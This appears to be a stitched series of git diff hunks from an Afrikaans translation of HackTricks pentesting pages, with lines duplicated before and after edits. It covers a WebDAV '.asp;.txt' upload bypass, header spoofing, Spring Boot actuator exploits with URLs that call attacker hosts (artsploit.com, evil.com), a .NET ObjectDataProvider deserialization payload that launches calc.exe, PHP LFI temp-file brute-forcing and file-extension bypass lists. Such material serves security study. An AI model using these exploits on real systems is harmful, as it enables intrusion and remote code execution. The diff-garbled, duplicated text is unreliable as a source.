Hierdie kwesbaarheid is baie interessant. Die **WebDav** laat **nie toe** om **lêers** met die uitbreiding **.asp** te **laai** of te **hernoem** nie. Maar jy kan dit **omseil** deur aan die einde van die naam **";.txt"** by te voeg en die lêer sal **uitgevoer** word asof dit 'n .asp-lêer was (jy kan ook **".html" in plaas van ".txt" gebruik**, maar **VERGEET NIE die ";" nie**).
Dan kan jy jou shell as 'n ".**txt" lêer** **laai** en dit **kopieer/verskuif na 'n ".asp;.txt"** lêer. Deur toegang tot daardie lêer via die webbediener, sal dit **uitgevoer** word (cadaver sal sê dat die skuifaksie nie gewerk het nie, maar dit het).
@ -48,9 +48,9 @@ Dan kan jy jou shell as 'n ".**txt" lêer** **laai** en dit **kopieer/verskuif n
## Post geloofsbriewe
As die Webdav 'n Apache-bediener gebruik het, moet jy kyk na die geconfigureerde webwerwe in Apache. Gewoonlik:\
\_**/etc/apache2/sites-enabled/000-default**_
_**/etc/apache2/sites-enabled/000-default**_
Binne dit kan jy iets soos vind:
Binne-in kan jy iets soos vind:
```
ServerAdmin webmaster@localhost
Alias /webdav /var/www/webdav
@ -65,13 +65,13 @@ Soos jy kan sien, is daar die lêers met die geldige **credentials** vir die **w
```
/etc/apache2/users.password
```
Binne hierdie tipe lêers sal jy die **gebruikersnaam** en 'n **hash** van die wagwoord vind. Dit is die akrediteerbes wat die webdav bediener gebruik om gebruikers te verifieer.
Binne hierdie tipe lêers sal jy die **gebruikersnaam** en 'n **hash** van die wagwoord vind. Dit is die geloofsbriewe wat die webdav-bediener gebruik om gebruikers te verifieer.
Jy kan probeer om hulle te **breek**, of om **meer** by te voeg as jy om een of ander rede die **webdav** bediener wil **toegang**.
```bash
htpasswd /etc/apache2/users.password <USERNAME> #You will be prompted for the password
```
Om te kyk of die nuwe geloofsbriewe werk, kan jy doen:
Om te kontroleer of die nuwe geloofsbriewe werk, kan jy doen:
```bash
wget --user <USERNAME> --ask-password http://domain/path/to/webdav/ -O - -q
```

View File

@ -9,7 +9,7 @@
## Koppe om Ligging te Verander
Herskryf **IP bron**:
Herschryf **IP bron**:
- `X-Originating-IP: 127.0.0.1`
- `X-Forwarded-For: 127.0.0.1`
@ -28,14 +28,14 @@ Herskryf **IP bron**:
- `Via: 1.0 fred, 1.1 127.0.0.1`
- `Connection: close, X-Forwarded-For` (Kontroleer hop-by-hop koppe)
Herskryf **ligging**:
Herschryf **ligging**:
- `X-Original-URL: /admin/console`
- `X-Rewrite-URL: /admin/console`
## Hop-by-Hop koppe
'n Hop-by-hop kop is 'n kop wat ontwerp is om verwerk en verbruik te word deur die proxy wat tans die versoek hanteer, in teenstelling met 'n eind-tot-eind kop.
'n hop-by-hop kop is 'n kop wat ontwerp is om verwerk en verbruik te word deur die proxy wat tans die versoek hanteer, in teenstelling met 'n eind-tot-eind kop.
- `Connection: close, X-Forwarded-For`
@ -76,7 +76,7 @@ Herskryf **ligging**:
## Voorwaardes
- Versoeke wat hierdie koppe gebruik: **`If-Modified-Since`** en **`If-Unmodified-Since`** sal met data geantwoord word slegs as die antwoord kop\*\*`Last-Modified`\*\* 'n ander tyd bevat.
- Versoeke wat hierdie koppe gebruik: **`If-Modified-Since`** en **`If-Unmodified-Since`** sal met data geantwoord word slegs as die antwoordkop **`Last-Modified`** 'n ander tyd bevat.
- Voorwaardelike versoeke wat **`If-Match`** en **`If-None-Match`** gebruik, gebruik 'n Etag waarde sodat die webbediener die inhoud van die antwoord sal stuur as die data (Etag) verander het. Die `Etag` word geneem uit die HTTP antwoord.
- Die **Etag** waarde word gewoonlik **bereken** op grond van die **inhoud** van die antwoord. Byvoorbeeld, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` dui aan dat die `Etag` die **Sha1** van **37 bytes** is.
@ -85,15 +85,15 @@ Herskryf **ligging**:
- **`Accept-Ranges`**: Dui aan of die bediener bereik versoeke ondersteun, en indien wel in watter eenheid die bereik uitgedruk kan word. `Accept-Ranges: <range-unit>`
- **`Range`**: Dui die deel van 'n dokument aan wat die bediener moet teruggee. Byvoorbeeld, `Range:80-100` sal die bytes 80 tot 100 van die oorspronklike antwoord met 'n statuskode van 206 Partial Content teruggee. Onthou ook om die `Accept-Encoding` kop uit die versoek te verwyder.
- Dit kan nuttig wees om 'n antwoord met arbitrêre weerkaatste javascript kode te kry wat andersins ontsnap kon word. Maar om dit te misbruik, moet jy hierdie koppe in die versoek inspuit.
- **`If-Range`**: Skep 'n voorwaardelike bereik versoek wat slegs vervul word as die gegewe etag of datum met die afstandlike hulpbron ooreenstem. Gebruik om te voorkom dat twee bereik van onverenigbare weergawes van die hulpbron afgelaai word.
- **`Content-Range`**: Dui aan waar in 'n volle liggaamsboodskap 'n gedeeltelike boodskap behoort.
- **`If-Range`**: Skep 'n voorwaardelike bereik versoek wat slegs vervul word as die gegewe etag of datum met die afstandlike hulpbron ooreenstem. Gebruik om te voorkom dat twee bereik van onverenigbare weergawe van die hulpbron afgelaai word.
- **`Content-Range`**: Dui aan waar in 'n volle liggaam boodskap 'n gedeeltelike boodskap behoort.
## Boodskap liggaam inligting
- **`Content-Length`:** Die grootte van die hulpbron, in desimale aantal bytes.
- **`Content-Length`:** Die grootte van die hulpbron, in desimale getal van bytes.
- **`Content-Type`**: Dui die media tipe van die hulpbron aan
- **`Content-Encoding`**: Gebruik om die kompressie-algoritme aan te dui.
- **`Content-Language`**: Beskryf die menslike taal/tale wat vir die gehoor bedoel is, sodat dit 'n gebruiker toelaat om te onderskei volgens die gebruiker se eie verkose taal.
- **`Content-Encoding`**: Gebruik om die kompressie algoritme aan te dui.
- **`Content-Language`**: Beskryf die menslike taal/tale wat bedoel is vir die gehoor, sodat dit 'n gebruiker toelaat om te onderskei volgens die gebruiker se eie verkose taal.
- **`Content-Location`**: Dui 'n alternatiewe ligging aan vir die teruggegee data.
Vanuit 'n pentest oogpunt is hierdie inligting gewoonlik "nutteloos", maar as die hulpbron **beskerm** word deur 'n 401 of 403 en jy 'n **manier** kan vind om hierdie **inligting** te **kry**, kan dit **interessant** wees.\
@ -109,11 +109,11 @@ Byvoorbeeld, 'n kombinasie van **`Range`** en **`Etag`** in 'n HEAD versoek kan
## Beheer
- **`Allow`**: Hierdie kop word gebruik om die HTTP metodes te kommunikeer wat 'n hulpbron kan hanteer. Byvoorbeeld, dit mag gespesifiseer word as `Allow: GET, POST, HEAD`, wat aandui dat die hulpbron hierdie metodes ondersteun.
- **`Expect`**: Gebruik deur die kliënt om verwagtinge oor te dra wat die bediener moet nakom vir die versoek om suksesvol verwerk te word. 'n Algemene gebruiksgeval behels die `Expect: 100-continue` kop, wat aandui dat die kliënt van plan is om 'n groot datapel te stuur. Die kliënt soek 'n `100 (Continue)` antwoord voordat hy met die oordrag voortgaan. Hierdie meganisme help om netwerkgebruik te optimaliseer deur op bedienerbevestiging te wag.
- **`Expect`**: Gebruik deur die kliënt om verwagtinge oor te dra wat die bediener moet nakom vir die versoek om suksesvol verwerk te word. 'n Algemene gebruiksgeval behels die `Expect: 100-continue` kop, wat aandui dat die kliënt van plan is om 'n groot data payload te stuur. Die kliënt soek 'n `100 (Continue)` antwoord voordat hy met die oordrag voortgaan. Hierdie meganisme help om netwerkgebruik te optimaliseer deur op bedienerbevestiging te wag.
## Aflaaie
- Die **`Content-Disposition`** kop in HTTP antwoorde dui aan of 'n lêer **inline** (binne die webblad) vertoon moet word of as 'n **aanhegting** (afgelaai). Byvoorbeeld:
- Die **`Content-Disposition`** kop in HTTP antwoorde dui aan of 'n lêer **inline** (binne die webblad) vertoon moet word of as 'n **aanhegting** (afgelaai) behandel moet word. Byvoorbeeld:
```
Content-Disposition: attachment; filename="filename.jpg"
```
@ -168,7 +168,7 @@ Access-Control-Allow-Credentials: true
```
### **Cross-Origin Embedder Policy (COEP) en Cross-Origin Opener Policy (COOP)**
COEP en COOP is noodsaaklik vir die aktivering van kruis-oorsprong isolasie, wat die risiko van Spectre-agtige aanvalle aansienlik verminder. Hulle beheer die laai van kruis-oorsprong hulpbronne en die interaksie met kruis-oorsprong vensters, onderskeidelik.
COEP en COOP is noodsaaklik vir die inskakeling van kruis-oorsprong isolasie, wat die risiko van Spectre-agtige aanvalle aansienlik verminder. Hulle beheer die laai van kruis-oorsprong hulpbronne en die interaksie met kruis-oorsprong vensters, onderskeidelik.
```
Cross-Origin-Embedder-Policy: require-corp
Cross-Origin-Opener-Policy: same-origin-allow-popups

View File

@ -6,30 +6,30 @@
<figure><img src="../../images/image (927).png" alt=""><figcaption></figcaption></figure>
**Van** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)\*\*\*\*
**From** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)
## Exploiting Spring Boot Actuators
**Kyk die oorspronklike pos van** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
**Check the original post from** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
### **Belangrike Punten:**
### **Key Points:**
- Spring Boot Actuators registreer eindpunte soos `/health`, `/trace`, `/beans`, `/env`, ens. In weergawes 1 tot 1.4 is hierdie eindpunte toeganklik sonder verifikasie. Vanaf weergawe 1.5 is slegs `/health` en `/info` nie-sensitief per standaard, maar ontwikkelaars deaktiveer dikwels hierdie sekuriteit.
- Sekere Actuator eindpunte kan sensitiewe data blootstel of skadelike aksies toelaat:
- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, en `/heapdump`.
- In Spring Boot 1.x, word actuators geregistreer onder die wortel-URL, terwyl dit in 2.x onder die `/actuator/` basis pad is.
- In Spring Boot 1.x, word actuators geregistreer onder die wortel-URL, terwyl hulle in 2.x onder die `/actuator/` basis pad is.
### **Eksploitasiemetodes:**
### **Exploitation Techniques:**
1. **Afgeleë Kode-uitvoering via '/jolokia'**:
1. **Remote Code Execution via '/jolokia'**:
- Die `/jolokia` actuator eindpunt blootstel die Jolokia Biblioteek, wat HTTP-toegang tot MBeans toelaat.
- Die `reloadByURL` aksie kan uitgebuit word om logging konfigurasies van 'n eksterne URL te herlaai, wat kan lei tot blinde XXE of Afgeleë Kode-uitvoering via vervaardigde XML konfigurasies.
- Voorbeeld van 'n eksploit URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
2. **Konfigurasie-wijziging via '/env'**:
- Die `reloadByURL` aksie kan uitgebuit word om logging konfigurasies vanaf 'n eksterne URL te herlaai, wat kan lei tot blinde XXE of Remote Code Execution via vervaardigde XML konfigurasies.
- Voorbeeld van 'n uitbuit URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
2. **Config Modification via '/env'**:
- As Spring Cloud Biblioteke teenwoordig is, laat die `/env` eindpunt die wijziging van omgewings eienskappe toe.
- As Spring Cloud Biblioteke teenwoordig is, laat die `/env` eindpunt die aanpassing van omgewings eienskappe toe.
- Eienskappe kan gemanipuleer word om kwesbaarhede uit te buit, soos die XStream deserialisering kwesbaarheid in die Eureka serviceURL.
- Voorbeeld van 'n eksploit POST versoek:
- Voorbeeld van 'n uitbuit POST versoek:
```
POST /env HTTP/1.1
@ -40,27 +40,25 @@ Content-Length: 65
eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
```
3. **Ander Nuttige Instellings**:
- Eienskappe soos `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, en `spring.datasource.tomcat.max-active` kan gemanipuleer word vir verskeie eksploit, soos SQL-inspuiting of die verandering van databasisverbindingstrings.
3. **Other Useful Settings**:
- Eienskappe soos `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, en `spring.datasource.tomcat.max-active` kan gemanipuleer word vir verskeie uitbuitings, soos SQL-inspuiting of die verandering van databasisverbindingstrings.
### **Addisionele Inligting:**
### **Additional Information:**
- 'n Omvattende lys van standaard actuators kan [hier](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt) gevind word.
- Die `/env` eindpunt in Spring Boot 2.x gebruik JSON-formaat vir eiendomswysiging, maar die algemene konsep bly dieselfde.
- Die `/env` eindpunt in Spring Boot 2.x gebruik JSON-formaat vir eiendom aanpassing, maar die algemene konsep bly dieselfde.
### **Verwante Onderwerpe:**
### **Related Topics:**
1. **Env + H2 RCE**:
- Besonderhede oor die uitbuiting van die kombinasie van `/env` eindpunt en H2 databasis kan [hier](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database) gevind word.
2. **SSRF op Spring Boot Deur Onkorrekte Padnaam Interpretasie**:
- Die Spring raamwerk se hantering van matriksparameters (`;`) in HTTP padname kan uitgebuit word vir Server-Side Request Forgery (SSRF).
- Voorbeeld van 'n eksploit versoek:
2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**:
- Die hantering van matriksparameters (`;`) in HTTP padname deur die Spring raamwerk kan uitgebuit word vir Server-Side Request Forgery (SSRF).
- Voorbeeld van 'n uitbuit versoek:
```http
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,12 +2,12 @@
{{#include ../../banners/hacktricks-training.md}}
Hierdie pos is toegewy aan **om te verstaan hoe die gadget ObjectDataProvider uitgebuit word** om RCE te verkry en **hoe** die Serialisering biblioteke **Json.Net en xmlSerializer misbruik kan word** met daardie gadget.
Hierdie pos is toegewy aan **die begrip van hoe die gadget ObjectDataProvider uitgebuit word** om RCE te verkry en **hoe** die Serialisering biblioteke **Json.Net en xmlSerializer misbruik kan word** met daardie gadget.
## ObjectDataProvider Gadget
Volgens die dokumentasie: _die ObjectDataProvider Klas Wrapping en skep 'n objek wat jy kan gebruik as 'n binding bron_.\
Ja, dit is 'n vreemde verduideliking, so kom ons kyk wat hierdie klas het wat so interessant is: Hierdie klas laat toe om **'n arbitrêre objek** te **wrapping**, gebruik _**MethodParameters**_ om **arbitrêre parameters in te stel,** en dan **gebruik MethodName om 'n arbitrêre funksie** van die arbitrêre objek wat met die arbitrêre parameters verklaar is, aan te roep.\
Ja, dit is 'n vreemde verduideliking, so kom ons kyk wat hierdie klas het wat so interessant is: Hierdie klas laat toe om **'n arbitrêre objek te wrap**, gebruik _**MethodParameters**_ om **arbitrêre parameters in te stel,** en dan **gebruik MethodName om 'n arbitrêre funksie** van die arbitrêre objek wat met die arbitrêre parameters verklaar is, aan te roep.\
Daarom sal die arbitrêre **objek** 'n **funksie** met **parameters uitvoer terwyl dit gedeserialiseer word.**
### **Hoe is dit moontlik**
@ -18,7 +18,7 @@ Met [**dnSpy**](https://github.com/0xd4d/dnSpy) kan jy die **kode** van die klas
![](<../../images/image (427).png>)
Soos jy kan waarneem, wanneer `MethodName` gestel word, word `base.Refresh()` aangeroep, kom ons kyk wat dit doen:
Soos jy kan sien, wanneer `MethodName` gestel word, word `base.Refresh()` aangeroep, kom ons kyk wat dit doen:
![](<../../images/image (319).png>)
@ -26,13 +26,13 @@ Goed, kom ons gaan voort om te sien wat `this.BeginQuery()` doen. `BeginQuery` w
![](<../../images/image (345).png>)
Let daarop dat aan die einde van die kode dit `this.QueryWorke(null)` aanroep. Kom ons kyk wat dit uitvoer:
Let daarop dat aan die einde van die kode `this.QueryWorke(null)` aangeroep word. Kom ons kyk wat dit uitvoer:
![](<../../images/image (596).png>)
Let daarop dat dit nie die volledige kode van die funksie `QueryWorker` is nie, maar dit toon die interessante deel daarvan: Die kode **roep `this.InvokeMethodOnInstance(out ex);` aan** dit is die lyn waar die **metode stel aangeroep word**.
As jy wil kyk dat net deur die _**MethodName**_\*\* in te stel, dit uitgevoer sal word\*\*, kan jy hierdie kode uitvoer:
As jy wil kyk dat net deur die _**MethodName**_** in te stel, dit uitgevoer sal word**, kan jy hierdie kode uitvoer:
```java
using System.Windows.Data;
using System.Diagnostics;
@ -56,10 +56,10 @@ Let wel dat jy as verwysing _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\P
## ExpandedWrapper
Met die vorige ontploffing sal daar gevalle wees waar die **object** as 'n _**ObjectDataProvider**_ instansie **gedeserialiseer gaan word** (byvoorbeeld in DotNetNuke kwesbaarheid, met die gebruik van XmlSerializer, is die object gedeserialiseer met `GetType`). Dan sal daar **geen kennis wees van die objektipe wat in die _ObjectDataProvider_ instansie ingepak is** (byvoorbeeld `Process`). Jy kan meer [inligting oor die DotNetNuke kwesbaarheid hier vind](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
Met die vorige ontploffing sal daar gevalle wees waar die **object** as 'n _**ObjectDataProvider**_ instansie **gedeserializeer gaan word** (byvoorbeeld in die DotNetNuke kwesbaarheid, met die gebruik van XmlSerializer, is die object gedeserializeer met `GetType`). Dan sal daar **geen kennis wees van die objektipe wat ingepak is** in die _ObjectDataProvider_ instansie (`Process` byvoorbeeld). Jy kan meer [inligting oor die DotNetNuke kwesbaarheid hier vind](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
Hierdie klas laat jou toe om die **objektipe van die objek wat ingekapsel is** in 'n gegewe instansie te **spesifiseer**. So, hierdie klas kan gebruik word om 'n bronobjek (_ObjectDataProvider_) in 'n nuwe objektipe in te kapsuleer en die eienskappe wat ons nodig het (_ObjectDataProvider.MethodName_ en _ObjectDataProvider.MethodParameters_).\
Dit is baie nuttig vir gevalle soos die een wat voorheen aangebied is, omdat ons in staat sal wees om **\_ObjectDataProvider**_\*\* binne 'n \*\*_**ExpandedWrapper** \_ instansie te **wrappen** en **wanneer dit gedeserialiseer word** sal hierdie klas die _**OjectDataProvider**_ objek **skep** wat die **funksie** wat in _**MethodName**_ aangedui is, sal **uitvoer**.
Dit is baie nuttig vir gevalle soos die een wat voorheen aangebied is, want ons sal in staat wees om **\_ObjectDataProvider**_** binne 'n **_**ExpandedWrapper** \_ instansie te **wrappen** en **wanneer dit gedeserializeer word** sal hierdie klas die _**OjectDataProvider**_ objek **skep** wat die **funksie** wat in _**MethodName**_ aangedui is, sal **uitvoer**.
Jy kan hierdie wrapper met die volgende kode nagaan:
```java
@ -147,7 +147,7 @@ ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
```
In hierdie kode kan jy **die eksploit toets**, net dit uitvoer en jy sal sien dat 'n kalkuleerder uitgevoer word:
In hierdie kode kan jy **die exploit toets**, hardloop dit net en jy sal sien dat 'n calc uitgevoer word:
```java
using System;
using System.Text;

View File

@ -2,9 +2,9 @@
{{#include ../../banners/hacktricks-training.md}}
## Basiese Inligting
## Basic Information
Deur die standaard wanneer 'n lêer na PHP opgelaai word (selfs al verwag dit nie), sal dit 'n tydelike lêer in `/tmp` genereer met 'n naam soos **`php[a-zA-Z0-9]{6}`**, alhoewel ek sommige docker beelde gesien het waar die gegenereerde lêers geen syfers bevat nie.
Standaard, wanneer 'n lêer na PHP opgelaai word (selfs al verwag dit nie), sal dit 'n tydelike lêer in `/tmp` genereer met 'n naam soos **`php[a-zA-Z0-9]{6}`**, alhoewel ek sommige docker beelde gesien het waar die gegenereerde lêers geen syfers bevat nie.
In 'n plaaslike lêerinvoeging, **as jy daarin slaag om daardie opgelaaide lêer in te sluit, sal jy RCE kry**.
@ -17,29 +17,29 @@ Ook, die **aantal potensiële lêernames is 62\*62\*62\*62\*62\*62 = 56800235584
### Ander tegnieke
Ander tegnieke berus op die aanval van PHP protokolle (jy sal nie kan as jy net die laaste deel van die pad beheer nie), die pad van die lêer bekend te maak, die verwagte lêers te misbruik, of **PHP te laat ly aan 'n segmentasiefout sodat opgelaaide tydelike lêers nie verwyder word nie**.\
Hierdie tegniek is **baie soortgelyk aan die laaste een, maar sonder om 'n nul dag te vind**.
Ander tegnieke berus op die aanval van PHP protokolle (jy sal nie in staat wees as jy net die laaste deel van die pad beheer nie), die pad van die lêer openbaar, die verwagte lêers misbruik, of **maak PHP ly aan 'n segmentasiefout sodat opgelaaide tydelike lêers nie verwyder word nie**.\
Hierdie tegniek is **baie soortgelyk aan die laaste een, maar sonder om 'n nuldag te vind**.
### Ewige wag tegniek
In hierdie tegniek **het ons net 'n relatiewe pad te beheer**. As ons daarin slaag om lêers op te laai en die **LFI nooit te laat eindig nie**, sal ons "genoeg tyd" hê om **brute-force opgelaaide lêers** en **te vind** enige van die opgelaaide.
In hierdie tegniek **het ons net 'n relatiewe pad nodig om te beheer**. As ons daarin slaag om lêers op te laai en die **LFI nooit te laat eindig nie**, sal ons "genoeg tyd" hê om **brute-force opgelaaide lêers** en **vind** enige van die opgelaaide.
**Voordele van hierdie tegniek**:
- Jy moet net 'n relatiewe pad binne 'n insluiting beheer
- Vereis nie nginx of 'n onverwagte vlak van toegang tot log lêers nie
- Vereis nie 'n 0 dag om 'n segmentasiefout te veroorsaak nie
- Vereis nie 'n pad bekendmaking nie
- Vereis nie 'n 0-dag om 'n segmentasiefout te veroorsaak nie
- Vereis nie 'n pad openbaar nie
Die **hoofprobleme** van hierdie tegniek is:
- 'n Spesifieke lêer(s) moet teenwoordig wees (daar mag meer wees)
- Die **insane** hoeveelheid potensiële lêernames: **56800235584**
- Die **mal** hoeveelheid potensiële lêernames: **56800235584**
- As die bediener **nie syfers gebruik nie** is die totale potensiële hoeveelheid: **19770609664**
- Standaard kan **slegs 20 lêers** in 'n **enkele versoek** opgelaai word.
- Die **maksimum aantal parallelle werkers** van die gebruikte bediener.
- Hierdie limiet saam met die vorige kan hierdie aanval te lank laat duur
- **Tydsduur vir 'n PHP versoek**. Ideaal gesproke moet dit ewige wees of die PHP-proses moet doodmaak sonder om die tydelike opgelaaide lêers te verwyder, anders sal dit ook 'n pyn wees
- Hierdie limiet saam met die vorige kan maak dat hierdie aanval te lank duur
- **Tydsduur vir 'n PHP versoek**. Ideaal gesproke moet dit ewige wees of die PHP-proses moet doodgemaak word sonder om die tydelike opgelaaide lêers te verwyder, anders sal dit ook 'n pyn wees
So, hoe kan jy **maak dat 'n PHP insluiting nooit eindig nie**? Net deur die lêer **`/sys/kernel/security/apparmor/revision`** in te sluit (**nie beskikbaar in Docker houers** ongelukkig...).
@ -65,20 +65,20 @@ Kom ons doen 'n bietjie wiskunde:
> [!WARNING]
> Let daarop dat ons in die vorige voorbeeld **heeltemal ander kliënte DoSing**!
As die Apache-bediener verbeter word en ons **4000 verbindings** kan misbruik (helfte van die maksimum getal). Ons kan `3999*20 = 79980` **lêers** skep en die **getal** sou **verminder** tot ongeveer **19.7h** of **6.9h** (10h, 3.5h 50% kans).
As die Apache-bediener verbeter word en ons **4000 verbindings** kan misbruik (halfpad na die maksimum getal). Ons kan `3999*20 = 79980` **lêers** skep en die **getal** sou **verminder** tot ongeveer **19.7h** of **6.9h** (10h, 3.5h 50% kans).
## PHP-FMP
As die **webblad** **PHP-FMP** gebruik in plaas van die gewone php-mod vir apache om PHP-skripte uit te voer (dit verbeter die doeltreffendheid van die webblad, so dit is algemeen om dit te vind), is daar iets anders wat gedoen kan word om die tegniek te verbeter.
As die **webblad** in plaas van die gewone php-mod vir apache om PHP-skripte uit te voer **PHP-FMP** gebruik (dit verbeter die doeltreffendheid van die webblad, so dit is algemeen om dit te vind), is daar iets anders wat gedoen kan word om die tegniek te verbeter.
PHP-FMP laat toe om die **parameter** **`request_terminate_timeout`** in **`/etc/php/<php-version>/fpm/pool.d/www.conf`** te **konfigureer**.\
Hierdie parameter dui die maksimum aantal sekondes aan **wanneer** **versoek aan PHP moet beëindig** (oneindig per standaard, maar **30s as die param nie kommentaar is nie**). Wanneer 'n versoek deur PHP verwerk word, word die aangeduide aantal sekondes, dit **doodgemaak**. Dit beteken, dat as die versoek tydelike lêers opgelaai het, omdat die **php-verwerking gestop is**, daardie **lêers nie verwyder gaan word** nie. Daarom, as jy 'n versoek kan laat duur vir daardie tyd, kan jy **duisende tydelike lêers genereer** wat nie verwyder gaan word nie, wat die **proses om hulle te vind** versnel en die waarskynlikheid van 'n DoS aan die platform verminder deur al die verbindings te verbruik.
Hierdie parameter dui die maksimum aantal sekondes aan **wanneer** **die versoek aan PHP moet beëindig** (oneindig per standaard, maar **30s as die parameter ontcommentaar is**). Wanneer 'n versoek deur PHP verwerk word, word die aangeduide aantal sekondes, dit **gekill**. Dit beteken, dat as die versoek tydelike lêers opgelaai het, omdat die **php-verwerking gestop is**, daardie **lêers nie verwyder gaan word**. Daarom, as jy 'n versoek kan laat duur vir daardie tyd, kan jy **duisende tydelike lêers genereer** wat nie verwyder sal word nie, wat die **proses om hulle te vind** versnel en die waarskynlikheid van 'n DoS op die platform verminder deur al die verbindings te verbruik.
So, om **DoS** te **vermy**, kom ons veronderstel dat 'n **aanvaller slegs 100 verbindings** terselfdertyd sal gebruik en die maksimum verwerkingstyd van php deur **php-fmp** (`request_terminate_timeout`**)** is **30s**. Daarom, die aantal **tydelike lêers** wat per sekonde gegenereer kan word is `100*20/30 = 66.67`.
So, om **DoS** te **vermy**, kom ons veronderstel dat 'n **aanvaller slegs 100 verbindings** terselfdertyd sal gebruik en die maksimum verwerkingstyd van php deur **php-fmp** (`request_terminate_timeout`**)** is **30s**. Daarom is die aantal **tydelike lêers** wat per **sekonde** gegenereer kan word `100*20/30 = 66.67`.
Dan, om **10000 lêers** te genereer, sal 'n aanvaller nodig hê: **`10000/66.67 = 150s`** (om **100000 lêers** te genereer, sal die tyd **25min** wees).
Dan kan die aanvaller daardie **100 verbindings** gebruik om 'n **soek brute-force** uit te voer. \*\*\*\* Veronderstel 'n spoed van 300 req/s, die tyd wat nodig is om dit te ontgin is die volgende:
Dan kan die aanvaller daardie **100 verbindings** gebruik om 'n **soek brute-force** uit te voer. As ons 'n spoed van 300 req/s veronderstel, is die tyd wat nodig is om dit te ontgin soos volg:
- 56800235584 / 10000 / 300 / 3600 \~= **5.25 ure** (50% kans in 2.63h)
- (met 100000 lêers) 56800235584 / 100000 / 300 / 3600 \~= **0.525 ure** (50% kans in 0.263h)
@ -88,10 +88,10 @@ Ja, dit is moontlik om 100000 tydelike lêers in 'n EC2 medium-grootte instansie
<figure><img src="../../images/image (240).png" alt=""><figcaption></figcaption></figure>
> [!WARNING]
> Let daarop dat dit **genoeg sou wees om die kwesbare LFI-bladsy in te sluit** om die tydsduur te aktiveer, sodat dit in 'n ewige insluitingslus ingaan.
> Let daarop dat dit **genoeg sou wees om die kwesbare LFI-bladsy in te sluit** om die tydsbeperking te aktiveer, sodat dit in 'n ewige insluitingslus ingaan.
## Nginx
Dit lyk of Nginx standaard **512 parallel verbindings** terselfdertyd ondersteun (en hierdie getal kan verbeter word).
Dit lyk of Nginx standaard **512 parallel verbindings** terselfdertyd ondersteun (en hierdie getal kan verbeter word).
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,8 +1,8 @@
# Lêer Laai
# File Upload
{{#include ../../banners/hacktricks-training.md}}
## Lêer Laai Algemene Metodologie
## File Upload General Methodology
Ander nuttige uitbreidings:
@ -15,9 +15,9 @@ Ander nuttige uitbreidings:
- **Perl**: _.pl, .cgi_
- **Erlang Yaws Web Server**: _.yaws_
### Oorbrug lêer uitbreidings kontrole
### Bypass file extensions checks
1. Indien van toepassing, **kontroleer** die **vorige uitbreidings.** Toets hulle ook met **hoofletters**: _pHp, .pHP5, .PhAr ..._
1. As dit van toepassing is, **kontroleer** die **vorige uitbreidings.** Toets hulle ook met **hoofletters**: _pHp, .pHP5, .PhAr ..._
2. _Kontroleer **om 'n geldige uitbreiding voor** die uitvoeringsuitbreiding toe te voeg (gebruik ook vorige uitbreidings):_
- _file.png.php_
- _file.png.Php5_
@ -43,15 +43,15 @@ Ander nuttige uitbreidings:
5. Voeg **nog 'n laag van uitbreidings** by die vorige kontrole:
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
6. Probeer om die **exec uitbreiding voor die geldige uitbreiding** te plaas en bid dat die bediener verkeerd geconfigureer is. (nuttig om Apache misconfigurasies te benut waar enigiets met uitbreiding\*\* _**.php**_**, maar** nie noodwendig eindig in .php\*\* sal kode uitvoer):
- _bv: file.php.png_
7. Gebruik **NTFS alternatiewe datastroom (ADS)** in **Windows**. In hierdie geval sal 'n kolon karakter “:” ingevoeg word na 'n verbode uitbreiding en voor 'n toegelate een. As gevolg hiervan sal 'n **leë lêer met die verbode uitbreiding** op die bediener geskep word (bv. “file.asax:.jpg”). Hierdie lêer kan later met ander tegnieke soos die gebruik van sy kort lêernaam gewysig word. Die “**::$data**” patroon kan ook gebruik word om nie-leë lêers te skep. Daarom kan dit nuttig wees om 'n puntkarakter na hierdie patroon toe te voeg om verdere beperkings te omseil (.bv. “file.asp::$data.”)
6. Probeer om die **exec-uitbreiding voor die geldige uitbreiding** te plaas en bid dat die bediener verkeerd geconfigureer is. (nuttig om Apache misconfigurasies te benut waar enigiets met die uitbreiding **_**.php**_**, maar** nie noodwendig eindig in .php** sal kode uitvoer):
- _ex: file.php.png_
